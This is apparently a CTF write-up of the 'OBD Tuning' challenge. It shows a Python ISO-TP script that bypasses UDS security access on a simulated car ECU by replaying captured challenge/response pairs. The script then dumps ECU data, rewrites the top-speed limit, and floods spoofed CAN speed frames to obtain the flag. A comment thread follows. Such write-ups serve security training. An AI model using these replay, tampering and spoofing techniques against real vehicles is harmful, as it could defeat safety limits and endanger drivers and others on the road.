Tags: canbus hardware 

Rating: 5.0

## Recon
initial recon same as for all OBD Tuning (see our OBD Tuning 2 [writeup](https://ctftime.org/writeup/23318))

## Analysis of the pcap
in the provided pcap dump with a bit car hacking knowledge one can see some [UDS](https://en.wikipedia.org/wiki/Unified_Diagnostic_Services) commands going on. intresting are the CANid 0x43 and 0x42 (tx/rx)
we can see following procedure in the dump:

* 10 02 means "init diag session"
* 27 01 is security access "send challenge"
* 27 02 is security access "response"
* 22 00 04 is read Data By CommonIdentifier, you can read various infos from the ECU

those commands are wrapped in [ISO-TP](https://en.wikipedia.org/wiki/ISO_15765-2) as underlying transport protocol

## Attack idea
in the pcap dump one also finds four valid challenge response pairs. testing for simple algorithms like in [OBD-Tuning-1](https://ctftime.org/writeup/23332) came out with no usable results, so new idea would be, trying to ask for challenges until we maybe get an seen before challenge, where we then would know the response

This are the valid chal / resp pairs from the pcap dump:
* 704ebdb76c8fb85f46e0f42890b64104 / aa90c11ed13b648ea133e7acc4d59cd5
* 82c86b89f89a3045a9bfc36e2a337ead / c49c1ecce4757690691bcfc9a788ed7c
* 5d8f55fa52d780290c3aa9077ca98471 a799a3c44c774a07fb53eb3d9d0e9ee7
* dee5e33cedc41bec2f1f7c08113ec7eb / bf8d9071c00ded3c35765dc6cbf7b4a4

after unlocking the ECU we would try to dump all data-values from the ECU stored on "common identifiers"

## Attack
after a bit of googeling we found a nice usable python iso-tp skeleton for talking to the ECU, which we used to implement the outlined attack
```python
SOL_CAN_ISOTP = 106 # These constants exist in the module header, not in Python.
CAN_ISOTP_RECV_FC = 2
# Many more exists.

import socket
import struct
import time

def hexdump(data):
output = ""
for i in range(0,len(data),2):
value = int(data[i:i+2],16)
if value > 0x20 and value < 0x80:
output += chr(value)
else:
output += "."
return(output)

# init sockets
s2 = socket.socket(socket.AF_CAN, socket.SOCK_DGRAM, socket.CAN_ISOTP)
s2.bind(("vcan0", 0x042, 0x043)) #rxid, txid with confusing order.

# init diag session UDS: 10 02
s2.send(b"\x10\x02")
data = s2.recv(4095)
print("answer to 0x10: " + hex(data[0]) )

run = 1

while run == 1:
# security access request challenge UDS 27 01
print("sending get challenge (27 01)")
s2.send(b"\x27\x01")
data = s2.recv(4095)
dump = ''.join("%02X" % _ for _ in data)
print("answer to 27 01: " + dump + " " + hexdump(dump) )

num = int(hexdump(dump[4:]),16)

# good challenges from pcap dump
if num == 0x82c86b89f89a3045a9bfc36e2a337ead:
# security access req response
print("UNLOCKED ! - sending good response 27 02")
s2.send(b"\x27\x02" + 'c49c1ecce4757690691bcfc9a788ed7c'.encode() )
data = s2.recv(4095)
run = 0
elif num == 0x5d8f55fa52d780290c3aa9077ca98471:
# security access req response
print("UNLOCKED ! - sending good response 27 02")
s2.send(b"\x27\x02" + 'a799a3c44c774a07fb53eb3d9d0e9ee7'.encode() )
data = s2.recv(4095)
run = 0
elif num == 0xdee5e33cedc41bec2f1f7c08113ec7eb:
# security access req response
print("UNLOCKED ! - sending good response 27 02")
s2.send(b"\x27\x02" + 'bf8d9071c00ded3c35765dc6cbf7b4a4'.encode() )
data = s2.recv(4095)
run = 0
elif num == 0x704ebdb76c8fb85f46e0f42890b64104:
# security access req response
print("UNLOCKED ! - sending good response 27 02")
s2.send(b"\x27\x02" + 'aa90c11ed13b648ea133e7acc4d59cd5'.encode() )
data = s2.recv(4095)
run = 0
else:
# security access req response
print("no luck - sending garbage response 27 02")
s2.send(b"\x27\x02" + 'c49c1ecce4757690691bcfc9a788ed7c'.encode() )
data = s2.recv(4095)

time.sleep(0.1) # slow down a bit

# unlocked, now dump all readDataByCommonIdentifier
print("dumping all common identifier Data")

for i in range(256):
s2.send(b"\x22\x00" + chr(i).encode())
data = s2.recv(4095)
dump = ''.join("%02X" % _ for _ in data)
print("answer to 0x22 00 %02X" % i + ": " + dump + " " + hexdump(dump) )

```

## Running
after getting a hit, something like a flag was found in id number 7
```
...
sending get challenge (27 01)
answer to 27 01: 67016137646164333031643533386163333936303434613431386139393339376661 g.a7dad301d538ac396044a418a99397fa
no luck - sending garbage response 27 02
sending get challenge (27 01)
answer to 27 01: 67013832633836623839663839613330343561396266633336653261333337656164 g.82c86b89f89a3045a9bfc36e2a337ead
UNLOCKED ! - sending good response 27 02
dumping all common identifier Data
answer to 0x22 00 00: 62000036 b..6
answer to 0x22 00 01: 62000139303030 b..9000
answer to 0x22 00 02: 620002323939 b..299
answer to 0x22 00 03: 6200033130 b..10
answer to 0x22 00 04: 620004574253434B39333435594C343234323432 b..WBSCK9345YL424242
answer to 0x22 00 05: 62000533363236373831313233 b..3626781123
answer to 0x22 00 06: 620006393031323231 b..901221
answer to 0x22 00 07: 620007414C4C45535B44554D4D595F554E4445525F3330304B4D485F464C41475D b..ALLES[DUMMY_UNDER_300KMH_FLAG]
answer to 0x22 00 08: 62000830 b..0
answer to 0x22 00 09: 62000931 b..1
answer to 0x22 00 0A: 62000A30 b..0
...
```

so it seems we are missing the speed has to be 300km/h, so we got only a dummy flag yet.

## ALLES[DUMMY_UNDER_300KMH_FLAG]

after looking further the CAN-id 888 looked like some speed related stuff, cause values were going up and down over time in a fitting range
vcan0 00000888 [4] 03 31 37 36 -> 176 km/h

so idea was to spoof the actual speed to 300km/h by sending packets with the fake speed, so in a 2nd shell we did a hacky simple
```for i in {1..50000}; do cansend vcan0 00000888#03333031; done``` setting the speed to 301 km/h
but this did not change anything...what did we miss ?
after looking around further, one of the read out ECU data values looked like a max. speed setting
```answer to 0x22 00 02: 620002323939 b..299```
could it be possible to write a new value to the ECU and so modifying the max top-speed ?
a quick look into the [UDS](https://en.wikipedia.org/wiki/Unified_Diagnostic_Services) protocol specification revealed WriteDataByCommonIdentifier is the command byte 0x2E, so worth a try.
unlocking the ECU and writing a new top speed then, reading it back, so we enhanced the previous code by the following lines:

```
print("setting max speed to 350")
s2.send(b"\x2E\x00\x02\x33\x35\x30")
data = s2.recv(4095)

print("reading back")
for i in range(12):
s2.send(b"\x22\x00" + chr(i).encode())
data = s2.recv(4095)
dump = ''.join("%02X" % _ for _ in data)
print("answer to 0x22 00 %02X" % i + ": " + dump + " " + hexdump(dump)
```

and indeed after reading it back we got (we indeed changed the cars possible top speed):

```
...
answer to 0x22 00 01: 62000139303030 b..9000
answer to 0x22 00 02: 620002333530 b..350
answer to 0x22 00 03: 6200033130 b..10
...
```

so running the whole script again (while still spoofing the 301km/h can msg) finally the good flag appeared:
```
...
answer to 0x22 00 04: 620004574253434B39333435594C343234323432 b..WBSCK9345YL424242
answer to 0x22 00 05: 62000533363236373831313233 b..3626781123
answer to 0x22 00 06: 620006393031323231 b..901221
answer to 0x22 00 07: 620007414C4C45537B3363755F6834636B33725F346E645F73703333645F737030306633727D b..ALLES{3cu_h4ck3r_4nd_sp33d_sp00f3r}
answer to 0x22 00 08: 62000830 b..0
...
```

mission accomplished :-)

too bad we discovered this too late and so were not be able to enter the flag :-(
## ALLES{3cu_h4ck3r_4nd_sp33d_sp00f3r}
macz

unblvrSept. 7, 2020, 5:47 p.m.

I think you actually had to trick the car into believing that it was going 300km/h. Then the flag would turn into a non-dummy one.


maczSept. 7, 2020, 6:52 p.m.

i did update it - sorry...